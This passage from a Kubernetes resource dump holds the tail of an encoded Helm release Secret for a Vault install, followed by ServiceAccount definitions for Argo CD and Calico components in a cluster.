bFJtM05PbEozRkVxOHVoQ1d1K1V0M25idGlQMVdZbVAvMUhZRDJuNW5RcVJrdHA1TEVVUmJTeTBORCs2elQxc1RyTVk3UzU3RXVpWjVqS2JiRWN3aE16VEowK1VsR2JPcDgvYlJBOGtnbkpDM1M1NjZnN2EzbkttVDVhb2FUS1pMdXp1Y1kzdm9ZV2VpTGplendkTGZ2TE5GOURTZVN1cDgxZ25tdzJrOHhOOUkwQjd5eVkwSFUrV3NiZk5jeXMxNUV6SkdScXUxTytobFU3VTZheno1RGJ4dks3eERsL05qN1Y2bGtMeFRYZFlIYXJjQnp5eWxoakpmSHBjenRaLzAyNlZ4eXUyZDNRVDVnQWIzNVNkNmJwbDRiMGJuOXd6M2xUOUw5NWUySFpMd3pzTDlnYmExcFJhMHBkYkVIWHMwbS9KN0ZwbHlJeUxjSGxCbVlBMDJpT1d4NFo3NW51NVpVSjBPSWdOc1gwdmpQN2xKb29mcXNkOTJOOFBPOFhsYTdZNVgxYXY4SXhuMW9EUi8wbmFEYkEzdEtpZUIzVk1QSTQzZVdaRlhUWlBBN0JIcEl0QVFyTy9iNTdacXhvT1J0blJuMWNienJIcnNycXFUK1d3NTZ5NkMyV0M2UEM2ZTU3T2ZiMzMzZ3EwTGlEWHl1T2cwMUZsMzBwbExqY2VGTk9pdXBOWjhVVTI2VTJuYUdQU3lONzZmTmFCMXdGd0srcDFNblc3VXgwVzFyc3lYVm1Na2k2MnNQKytnSGV5OFFkdmlXM3p1NnFhckxycXpsMFVuZUp3dDZ3c2lYK2FMNnNhUjlKYTZQQzVYMWVOZ1dsV2ZsbFgxWlZvTjJQdHFaN1FINDEyaFk0dWZRWm12RG5XdHZqRzBOZkoyNExHRHZUTnY5ZWJWcGRnS21MWExyd3J0ZkJsOWJEQ3pzbEcvZXZlZ1pib2s4N2J1aTNoZmFvM085KzJXWEsxdW5PcU43MnBWdm45dnl0ZjU3T2Uzdm1jMFlPZk5LM09ieGlXOVlMNkJkMUxrT2wvN1NPTXlCUGFTZXFQUWswRHU0YnhGdE5NVGV1YlVFMjhKeWxvZFR5bWZXQW1leTlkNDJGNjJyclpSdDR1MitqK1ZhWXpUYzI5UmJmUVdIZlZsS2cyNnM0NzZwSGFDMXFJN0pyUjg0N3VKUU1lVDhVSlNPOHZxYkxTcVRwNlhHL1ZsMlIwOHp6ZnFvL3BJenVTTjczdkZ1Y3dsdFQxYlRwNFhHMzB3TzFWTCt6dks2OURtZXlUVGxzbjVkNStEZ0g2OHp3cGRBT1F6V2p5OUdXUXdVYXZrdkszNzdaYmRoL2dWTWgreC9aUWt0a29zWkYyUlRXTnhsQTV0TGNpOVRoZDgzcld4R2hXdGVCdnM3TEN4MWJYcHNEU1BSVHcwTkgybnJ6cnVzRDJORjUzRzQzUjVmSmt1SjQ4enRiV2NMdXVQTTVYS3BIeVRvaDYxR2JZMSs5VlVHcExlaGhhcU1iU0lVQUlaa0VsRmk2bU12QXZRWU8xbU50S3l3SmxMSUdQZjVKbUVWNGV6UkhmakFiYUdiUkwrNDFuUVZtS1dtRUpMM1ZFKysvbnFYR3RWdUNjMElsTEZURUZzaFlpWmhzSTlFTTdvck9VMk9WOW1hV0lyVjk0K21QTWhvWTFLbjhrMjE1YWhyYWpRRmxvU2Flam0yWWozV3JqelJQZUoxdkp4YjJ0VFJEZFF4SjBORnB0MFlpMzhrQVlha2hrUm5WM2E2cXROQmlqMHhadDhidGhlaVczUkVXbklkRUN4clhuYkRhcWxsdXVyMXNIc2JkelJTaWZXTTIveC8yMmUyTXpzRU50ZEc2dlp5MW8rSnJUVmpqdlN1cEt0Zk03STJCUU5jOW02ZmZxTnU0ZGVQcUVOZlpsSEV0b3dLRDJnUGNCYkduTitLTFpGd3ZZT2VnQ1dPVWNOb3Y0a3lMVVNuUmxhWFRibExOQ2J5VFUrL3RQNVhoYmpORE5BbnVjU2JWR3VCNkNQbGJ5dFozYUoveHQ0VGw2MGhtOUhKWjJKekluYUc3Q2ZmTCtzdlBXNXI5aTV2bXE2bzFYSDdRZjNHNmVLTnNpMGVsU1h4UDRKR2svVHBkUjltVTgzZld5OVloWGo4YmtYY2dyNGJwWHJuMUF0RjNYYkhiSDBuL3paei9OcThEVHJOa1pQM2NtTHVsSG55MnJ3dklnby81OUw2SjF0OCtjZUYxMTFRZXpBVmJYZVdpelZScC9LcTVIR1pNQlZld0JSY2x4T1lJdEpNbmNpUDlhMVdjcmI3bVBGd3d4cFE3MjMyeFJoTjc4OUJ6eTdXV0FxUmFRRDFpcnNienRrMzBzd0h0RjE2RE1iOEJJcG9yNUVlQ20yUHgvMHN1dTI1S3JxdnZRTzdwTWJEMGRCcTcrbzF2V253dGJLbUsxMXd3WVFXdUZQTStUQnRPMFErK3dLWFkwMHNBMXlzN2E1eXZQT2ZuTmRwdnJYZFI3UnN6THJOQi9IblkraFhiaFcrbmxMUXhkSHF3OW1ad2ZOMnJZYi82My9tTlRXcThHT3FFUlBmdk5mdzZDVjZscVhKWVlHUXovK3FkKzF5WFdHSUt5S0puZ0VIZkswaVdTRkJSQVFPc3owVk1KdVQ0TzhWYld3ZXpJeHkrdkUvTERDWUcrdkpxa3p4d0IwTzJMSkhWalFpQVpTYUZGR2ZXL0QxWUFDOXEvMmFnQkphZ1lBOXRCSlNPZml6a0ZkT2JpckdwODc2eFI0TXJRQlMrd21Jdm1rcTUvZGRzaUx1Q0l3bTdCQkFNWk5YYTAyQ2RZMU5UZFdzL3BVd1FZd2EyZ0FBNDQwZTZoSW5xRWRxK1lwS2RhL0pIT2V4SVlHSFcxMmE3bVJEZWZZdlpkM1E0ZHV6d0FNRjdzTW9yTlUxbm5SMWpsMnNYazBhNE5EdjROZHVWaW5iVmJFRGdyMllZSHNJUUpWNlBXcjBVTFpYZHJKQ3N6UVRGcGpFS3NxZ28vWW1EeDVzemQyelJXQWd3NlFYTFNhQk8xdzRsbk0wWGw3VE1LYUQyaktRREhDSGUrQWp0ZEpEQTd2Mm00Q2hZSDFDTHBzRTNFaUFVaGU0VW5CdklzOG5pdnR2Z1hkalJxOFdEb3R0bzhxaE55dFd6a0d6dFp5ZDllT0FBekphQjZmTDg4NTdmYzRyWngwRFJQZzJrSEdmZ1AwUENmbTRtcXcweEdZZVRIWGN0ZitXV0NIYWdxRlp2MzZCVDJNYXJoL0kzbTJYOWZHZSt5eUJxSnRiNXk4RTlDTFAzN3Rkd250MHFJUWNnQkZNdHZCakFFOEtSaUVuTjNzaElDT1pkcnZabkN2eS9NQjJ0bFpzcnNmbG9JekJhM3dCTFFlRkxRWW5xMlhzOStSMzFyb3F4a0cwM3JxNGZ6OGdRWXByUUt3cmFaV0xTanNTNFAyV0tBVEF0QlU1WnpQbHQzT1lybmM5YnZDbmRXZ3VDb0hHcC9OQjg4RWFlTGlMSW9PNFVMQXZ5aXVzWUhrTFZvd2VFajQzQWJuTzg3djVXRWUvNnY0dkx5MjhmdytmNXFuL3hyNnpZemRIV1BGaW82elJpYUU5WmNDN2VkekJ4RUE5RSs3SFZOMWpBRUdVMzFlZ0ZMRSt3bEZOMm9jTUIyc1Y0UFUwTTZMcWc5bzkvY1dMNjV0Zzd1WnZwT0kyTHlsV25JMzBxZGtuejY3Tk1HSjN5SHNQbmU1RHRadEdPL2dBUUlqOUg3M0JScG5IYzF6ZmRYYUU3bzFhNE42TzhURUJtSWFzQTZEL0wxSzg2ZTJtN2hyQlVHcXBud00ydjYwTkE0VTZHaVhlS3NyZFAxQzEwczBJS29COEtsUmVNNnZxOE4rNmJNK0ZybFRCZ0dBT3JRWkx4em5zS1NqWXY0SkZxZmdjd0pBRG9CNmVvd1hpbU0zTUl6UVRMQ0RibkRKWHdEQUdtMWNzOVppU2RnOFdWd29UaHYwbGNMdEMxMklsU1pObHIySDRyYVd2TVJFTlN3c013UmVDb21sck5FS0pJU1Vrb0NZdWFWSk9QZDJaQWZyaU1nazFSNHFYdFh1dFU1UC9tZm8rcWRyeDcxRjd2M2xmdTZwQzM1UDNtWGxEZXhhQ0daUlkvdlVHMVBYd2NiRkxyZ1dvMXR3aXhNMURrd0dXcENPeWpFT09LS2dLQVlHdlFnYTdZMWc1NlFmNDhTSlVzOS95VDdtUmhpVTFKeEhzOWFxTTR6UVVCa25OM3E0dmZhN2srbXM2MlpGL0ZvYUlIWTBDTW4xZXZKYmsyWG5rSTM5K3dOY24rNHMxZ0YvQVJpY25PTElzQkVoV21JSEt3d2drcUFyYWdpazBLUFd0RElMTE9XNGR6Um1lUkNybGtZV1FKdzJpUGhjR0VvUTJzMTRxTXZIL1Ryc3BrOXU3UFlWK080RTN6M0dMbmdZcHZIUTBPcGdTWnExL2srRXBmQW9nTS9xZFJUWDhNbHYrbGFvUm9CSmlEYlEwTllFRDNROTF6WEFZYUNJa3ErUWMxc2l4K3JUY2F0cnpmcXAzKzRmUjYvV2J0eVdwSFc0OFNFbXFYUWpYYXRYNTMvWVBHaU9iRy9tNmFmWTdiOTJkdVBYNW00OFozTklXTFR0RDk2UGI4MGpCc3pxR3JEejZzbVNXcmtwRDRJbkdyZTFpTGg2ak4yKzM1REg4OGJKV2NHVjhjemVMSDZ1cVR2c0VRYTRpTWI0dFZudHUvSGY3Mzc5NTY4LzNsbHg5T0s3ZHcvL2ZaYzYyNzJ6Slg4aWhEL1A0cTNoT3VTdlRtU1lnV1BmUGJ3WVFlcjgrdXV2UDk2RlJ1Uy9PR2wyOTNEMzRjT0hMOUVQbFhtODIxck9RMlZ2N0lMc1UrYUVTV0JrVHZySmoxNGRLNHUzSDhqd3Z1VVlsaFh2SXJ4alh5SWo4VlZubS9weDlGRFpTMStpalIvWkQ1VTVQdHJFUjc5RW9aTVpaRTRQWDZKS2hWeGErcG9QaHV0RTJRZjJDdlp0bWhoOEp1U3p3RENkSUlVZlZ5cEdrbnpjN0V4bkd6bVprMzcwNDA5dkQzanRGMzZVWmtaVWVzZTF4MElqTWx6SC9tRG1ENVdlRTRSZm9tL3NGWjdBSDdGVDc5b2F6d25DajZuM3lmS01iY1oycFBxeFZ2MG92V1B2L29jMkMrbVgvaTgwa2plM3F3MVBqWTNrRFpyQ2tmNDNiaGhmam5QTXRnYmRtSmR0SEg2Z0VzNnpnb2ZLTHg5d3hKMWYrWHNsMis0Yy9DditOL0RUekltY2JlWExYV1lsWCs0cS80MmZWeXBaa0g2MS9aUndnc3JmS3hMNzJMRHRyWk9tbGI5WHZ0ejk0K0hobncrZjVXcjF5eDM3MmdwMmFlWnN2MTU3VENvZSs2SFNBUjVUMlVYR0x2T2NLUE10STNQc1N1aGtXOTlLSzRabGtaLy9KWExJLzQxdFhubUp0NVhuYlJ3Nm1lZnMwc3BUNG15TkxONytsUStaT1lGRGZwNFhhL2loY3Y2Q3IvUUZYK2tMeVB4Z1Q0cXAvWXAvb3Y5TGtTMVd2dHk5K0lFamJsQmlaQjc4L2hOU0tqa05Oc3l2NGg3L1VPa2NqVEFKbkFvZTBXNXJaSDRjd1lwMnFSKzVGV09YeFI5MlVlb1l3WS8wSXlXTzNjQ3B0SU40WjFlRzQvbkh5c0p6MkhqS2NEeXZiSnc4cllTN05Lc1l3ZFl4N0x6aUhQMDArN0ZpUkhZbDh4eDJGdmlNWit5ZGlsR2hyS1ppTUFhQ0EyYWVrVlg4bEV6RWk3Zit5YkVyV2N3T1FXay93d3pvdzJTV2xTOTNycFZZbXpBdGR1UUhzaWZibUhCUzJCK3lOWGhEeUxYNVlEdDd0anZreWEzamtqM2dUN3BCYkJxQitNVEd5Yjl1eVZaY2pvVmI5V0d6RlorM3RubVN4VjgzVG43emVTZm5QM2ozQ1lFd0pOTVFpSTlScVI5VjhuaTNwYjlpRzNSQmlEL0F4dEFmZjkwNkdTSEhPUHFhK2FFRFU2MVZVMkVsOU5aOTllSTBJK3lqZEczWnhObERZUkJiRy83RWUyVXpKWTF0SERoWCtPZldOS3lQakJSZ0p6NXVQZ01QRWpncmpqQ0xBK2ZkOGxwODdYK1duTjd1QW9kTTVFUEZTSHhsRysrUzlLSHlqeTkzaGgzNktka1VRcTVwdGhVMzQ4dmRQOGtMdGs0S3U0MC9DSGVaa2ZtUmUzQk1MNDQzSlhKSzZTLzJ6dFprcS81QVNOL0oyT21UdnhLV0xQNzlZR1NXSjM2UXNBKys0N1JOUDdMOXlQMzloOTdDZ2Q1LzlpYjd3WC9VdWNlQk0zTmVZQ3JzNU4vWUN2TFlGZkovUDgybk81TjhqS1IyWGFQNzdRcnZPL1dtL3hFaW9DKy9kZmovWVFyVnY1Y2MwanpOblBDQi9QS0Q3UVNPYThBUi9sWWErSzVEUDdmQzNtTlV2UDh1cDN2clA5LzJJc0k5VFJ3TDVwTEUyd3huOVlFdXpNdXlKTVhSeUpjUGxmdjdHdjQxTTdhdWt6M0RoNStybjZ2azA5UUpZSlovOU1Lc09Feml5SW15aHdvVkllKzkzNTVqMklHVHBtY24vZ003WFZCbVZQSmJwaGgrUHpuNFVlWnNJeVA0MzJnMGtlZktxM2dvMlFCR0ZNVVp5dXVITDVGQVFuVFgrczhQbFVrY3dUMVBkbWJncDk0a3ptWkVBVytpMFVOVUFhYXdGWFJYVU42WE8wSjdoY1dCNUFkMkZMTzlSQXJrbjVjb3QzUUdwVkdrRzZOSXY1V092NWR3a1NCL28vUGpEeVRYLzUxVWVwTU9mNmhvVHVWZ1JCa1llYmlMS1RIWFRNZUtRNmRpN0EwL0FPUGEyVHRSeFg4aHorVi8zanFWS000cVlDbmlNS2tmV1U0bDgveTA4amlaZy9rWHBIRmxsem8yN1A1cjdFZVZHT3hzTW91UDMwL3hRTy8vZDFNN2w1MjJrd1J4SGpyYzBmZEQ1WkYvQlB0T2pyVVFIaUxSRzBtU0NwcFk4YnYvZzF5bXQ2UWdwLyt0a3dTK1phUVBsV3RuSEJMamFDU3U1bnZXOCs0VlhaOHIraFhZNGJPWmlTY0V2cmZ5TEw5dm5yOWhwcmZtV3Fud3ZTMWNJcFdLOGZMaVIzNldDeE5NWXJzWlpYN3o4aHR5TFAvYStWdkhmdHh0L2NpZFc1NWo3d0kvY3Z0dUZQT1BPMGZIMmhGdVV2b3B1ZXl3R2ZQeVdZci9YRHRYOFovdjI3dTNmbC9zSXZVbEZSSmIvT2ZXbmhiL1pIRVNCN0diRDUzOG9WSitCM1B4TUpJUjkvLzgvMm5KU0poUVZlTHErdTR1ZjJ2dHRuNld0K01vYzQ2WnNJUGJYZFJNSjNFMGkrUHNRZkF6OGUrb0VTUlZDNFpOdjFtbXpoYStLRDUvdWZZNFdlVEV5UTd4ZHZOUWdaQlNjWGVpelBBalp5dWVLV1A4cVc4N2xyRzllbXJpbi8zUWNGR3JNbExQdCtKdGdnN1pENXZQNllQMDhlZVAxZkxCd2ZQUHV5QjRqZ1BmeXNrdit5K1RPSHZlT2lsaHBhV0hiMjhjRUUwUXhJZm5yYi8zQThkMU9xbGxCQ0FyejVaSkYyc2todWtIZnVZN2x5UnNiK1BrQ2wxL3FEUkhJL0ZqSjlwZlhCM2NycWJTbVN5KzlpZURUbnZ4ZGRTZkx6cVQ4L0VnS3ZCUWVXQkd6YmNHZVZLK2pqcHFaM1JqSEQ5NmlkOHhqTnBjamhaZm00K1BzeHZqRUFuLzhBa1A3U1ArTjkxYkQ2S0s4TzNobDR2ZTErZm1vbmZqSGNRSS8xVGN2WGVQMng4M2xjNk5NUzhvN2tINktCTjk4ZTRkd3k5R2N6THBweHRqWDNjbHZiaS9ZZVN2dmFmNVl2NWJ4ay8zMW8rM3ZzQ0QrY2JYSDZsajRCMkUxWDJhalp1TEc3TWpqTmMydHZZN3hwcDExS2RoNSt2VDVPdTh0MXc4UG1tVG02ZUZkL0k5aDlOK1huNmRkYWJMem54eGN6UzVYZzNmUGRpb1ArN2ZIcXBlZmVkUTQ4NzRtL1A2Nlg3c3YzdXd0K2NseVovZk9kWmpwd3ZYWmRFWlA0K2FpOXMzSmpTUzkxMFBPdERYOXRPazIxZStkbGI5QlRua1dXY3hXMy90TnZ1ajVlejJXOG9SdlV1UlViejArZW54NjZRNXZqNVVkeHVIVjVqeWkrOEVObk1UWHYzeTJjaThCNjd3ZldRU25vdU5yWnRlY0hIeFRwMS9KMy9aVmFzMWgveFgva2tTdnczOHZSTTVhZnE4alUzbmJFekNWeFVudTVobUFyUDc1RGxHa0htZnVFRlllcVRrL0JML1NTM1BJUnZYV3l5ZXo1akxpK0VIdTYyejhMWk82c1dCL1ZDUnl3OFFwZEUzZ2tjbk1QSzVZOFdSblQ1VTZ1Vm5FbWZyeHpiLzlteUVkQWNoU2VFVlV2bUJ6QStkZUpkZEg1MHMxZi8vZHV1ZHU1Vm14amJiSmYrWmV5WDkvczJxLy83TmVxZUhLek15NTJVWHBFNWg4cy9wWjNNbnEyUXgwYWZCN0Rlc2JHY0VPQkQxTEREMzE4YzNYUUhDZUwvVEVmYi9ycCtMVzU3VXVwbmM4REluc1QyR0g0ZE9sREhGL2RuWUdrSGdCRmU4QXJ2RU5qSm5ubTJOekhHWm9acmxpZk5RZVlvZW5jREpuSCtIOCtEM2VBdVk0K2c3SEFYZmRGYStlK0xmNno0b0pnOWpsSHlWL3pkNEZQNG9GMEo1WC8vTkhvVE0yWVorQk9la2JBM0xlUzR6UktuNmxxdWh0T3ovY0wvQ1BnNTJZY25Ldm5RdkZMQy80aGdvV1BDTUhLNkRCUzlIOU9LeW11ZUVTWlkvK3R1SHluLy8raTZQeHdWbFhYRnozREE1My9KdmxMd2JwZldHb1JIWnBkVitxSHk1KzJUNjBhZlVLOU1xK2VLRFk1VS9CRVcyVW43c2x6T3ZSMUtoK0RqY3VrOXZZQlVybjdJdytVUVJkeFJUNVZuQmY1VkgvRWZsUTFUNWN2ZW4veWIyN2RmKzg2OWY3aXIvcktCdWpQK3RwSTVkK2REeEsxL3UwbC9vVTcvdzUvOS92LzdpZnJuN2plOGlkc0kzWDRVUC9jS2UvcTRYa1VrU2crUWRxeUtQL1ZMODRydGUxM3p1ZzJ2bUc2OWpqLzFTL09LN1hyZVlOU2Z6L3VJOXJ4UWYvYVg4eSs5NjlhelpmZGQ3K1hPL0NMLzVMVy84dEV1M240TFlNZ0s0U0hac2JaenRCeWZLdG5rUysxSDJNZlhLQ2g1bEtuKy9QanBlcnovRUozbmJtVWl2eWg5aEZSTnRlSmQrSk16Ny9BV2lVZjZIdmp5SjdWdnZScmZmOFBQODYvK0lhK0RhUk1nazVzL045aDgvRXpBTTNwck9HMTVjUkRVOGZQb2t5VDkvckg2c2ZwVE9vT0ZYeDZQTTVGdGovdWt2U0JOL2ZYUE0rYkQvL0xYZGU4c0hlTTB6VlByNXZMTm9ONSsvNi9lTUVmK1BFa3g3dEp3dk9yTnY3Mm9LMjhybS9OZVBaNWlZTWw3L2ZLSGoyNzYzVDBRTituUlYyMzN2MzFCOUd4UGRzNnlhRjNvWCs5UDFDVjdxZHFEd2t3RnhPMHNxeWUxeHpqVzY4MUdFcFVabEY4ZWxmNDlyZnM4WEFJaXlvaW1DSlc3L1dMcjk0MHUweE8xaDVOdkRmTmc2eWJ1OVp6OVUycDVqYlNpRC9hOEtJdTRkdXlUcDBzcld5WGJicUZJOS8vSENjeXJPMGM4cVZtdzdsYTN6UXF5MmxBSmNqSUFPZS9IT1NxVmErY0RmZGZtdFZQbFFjYmJiODRnditVcXVmS2hjKzVsekZBelhjMDI1OGc5Qk8vNlJhY1EvTXV1T1RyUHlJUXZTRCtuR1R6N3NuYTMva2xQYzl4L3IrL3U5N3F4YTJhMzg0bGk1RlZ3ZU00VmtNVUtxMkxHVFJuL09LbHZIY3Z5OVU1bjNsVVZuTnE0UTFiNHl2QkZ3K3dGeVZJeVh6RUcwaTB1c1VicWdpaFBaNlkvdzAwcEsva3lHSFBaSG80K1Z5c0x6TDBheWpGM3FwQlUvVFhkT1dqbjRtWWZEdmV5Q1N1cnRNanMrUkNuWkRxOWlwQlhiUVNTL0E1a2xmcFk2d2N2NWlERDFkaHlsdTZEeWwxTWNtcjdETE9MMHJ4L1BEbUhyekxNcm9kdXJaSFRkNVBxRzRTV1lYOWExYjM2b05HMGJrb2dxYWVBNFNjVnp0azRsaXlzdU9RNnl1d25aMUwxdlFVcUxjVzBFeXpNQUNoWlhrbTJjR0s2Uk9UOVcwaGc4TUU2YWtXME5Bb0NQbVU0bE5Hem4yaUJaakZneThycUQ1d2RPeGMvK25CWk9oOGk5dml5Y2RiMnNrVy9JQ3o4d1l2clRYeExmamwrUW1mejF0NlErc0h5TUR4U2JjUVVIL1ZhT2grQmhIZE9STkJ5b0xXWjIvSVlNbUpmL3NBd0l1aTlsYkRRR2M3bXI0YU1WVTJBV1pWemNzd0NlT01GM3lyN29IQTBXeFVwOTIrbTh2QURpblFObnI3QWZLaFA0YWN5Y3ZlOGM2Q2xoY3MxZW9zeFdNcDNNa0RoYnRRTGZpVEk4a1ljekg1WncxYjROYUMrZU8zZVJpL0dOTDNlZmdLd0VSZEF5V3J2SURrQUJZcCt5bkNKRzZRV1NFaGJUbm5XYWkwNUpOSlJ6ajg2L3V0Z0s0ZXR5RWxJUzIybnA2OVNLRTVqYmhDM05ack9NSVJuaHdrMEtwOWs1SmxzblRRVzNMbG5IeHNrZmJ0QnM4Y2FZcG1lU0k4LzZVZkVGZW50S3pxL3JkSDczNHgwUTV0M0RQNFRDRFVKT1NlYWsyZDJQZCtSMjNqM2NQY2YyM1k5MzVJRFljd0k3SUkveWNBejVDNnY0SUtTMVh3Y1hQOGYydDdOYnlJaTNZaXVYcnZFdmQ4eDlEMkN4dTRjSy9wNjd6QUZzZnU0bi9QRFdpOS90SDN5WGI3RHNGbmpiQVB3dEVCNGhCbkltQkQ5VW1PZ1RQdnBnaVg4cnVSVWR5NHNyWCs1QTVTU2k3eVhlVW1VT1FFa1ZQNnI4V2RUSS9seUpkMW15T3pOSW1vdEZaL3k4bVA5ZEt1bWowZDlMZjkxRm1SOVUvbEg1Y3ZlbjZNdGQ1WVByVlA3RWZsa3A2WFgyR1JxS3pyS1pFVUxNdnR4Vi9oUjkvSGltUDVUMXhwZDRHeHBaaFJCbjVaZUt1M1dTeW9kTzVjLy9mMXpiUStVdnhQejhCZnc0Zi8xeldXQ2FXOGM0UXg1R2YvL1RYLzRTL1UzNjYxL1BWRU1VdU9XcFJ5V1o3cjlVL2xINVUzUysydjhpK2tSMGRaV0VuOXRrbXl0QkhQK09RNm1nSFZCU1ZsLzhMNldYd2hOVm1ueVpHVnNlRUp3NGUyZDc5K09kczNlaWpIQ09PMkFTLy96eExqRFM3T3QyRjBIZEMvSVR4LzVxa0d0LzkrT2RGWWRKNElpZkpKNlJFbjV6OSt1di8venhibzlzNGU1Qit2R09YM0hHWmU1Ky9YOENBQUQvLytoQ0JPS3UxUVFB
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      modifiedAt: "1758565440"
      name: vault
      owner: helm
      status: deployed
      version: "1"
    name: sh.helm.release.v1.vault.v1
    namespace: vault
    resourceVersion: "265892"
    uid: c730c312-45a4-4877-9d43-428e04a8934e
  type: helm.sh/release.v1
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: application-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-application-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-application-controller
    namespace: argocd
    resourceVersion: "74941"
    uid: 8c44875f-c7f0-4e6b-8447-c16ae0e2fb85
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "74942"
    uid: a027aabf-b1e6-4f34-a152-2123139b3679
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "74939"
    uid: c584bff0-8383-4b37-8611-3dfcde5b90f5
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-controller
    namespace: argocd
    resourceVersion: "74944"
    uid: ca83d72c-f42a-4159-9cde-c71c62873192
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      helm.sh/hook: pre-install,pre-upgrade
      helm.sh/hook-delete-policy: before-hook-creation
    creationTimestamp: "2025-09-21T20:14:39Z"
    labels:
      app.kubernetes.io/component: redis-secret-init
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis-secret-init
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis-secret-init
    namespace: argocd
    resourceVersion: "74831"
    uid: ea927cfd-78c1-4982-80a8-9a4a4dd06327
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "74943"
    uid: 3656436f-d062-4e08-921c-1e3edff205ca
- apiVersion: v1
  automountServiceAccountToken: true
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "74940"
    uid: e7173872-7b88-4b0d-bd32-8890cd24f8c4
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"v1","kind":"ServiceAccount","metadata":{"annotations":{},"name":"customcontroller-sa","namespace":"argocd"}}
    creationTimestamp: "2025-09-27T18:31:12Z"
    name: customcontroller-sa
    namespace: argocd
    resourceVersion: "1429796"
    uid: 80691c0b-abca-43df-ac96-a5f1c7f23715
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T20:14:37Z"
    name: default
    namespace: argocd
    resourceVersion: "74823"
    uid: 263d981a-0d49-4a9c-a54e-b0c64f054a40
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-23T12:03:43Z"
    name: default
    namespace: artemis
    resourceVersion: "433522"
    uid: 2ca388d8-bda4-4098-b8fc-5045489aa875
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-cni-plugin
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821103"
    uid: 0ecba7ee-3cf9-42e4-b400-3e39baa70acc
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    name: calico-kube-controllers
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821132"
    uid: 47f28dcf-e5e6-4a33-8c0f-143b5ec92e2f
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    finalizers:
    - tigera.io/cni-protector
    name: calico-node
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821096"
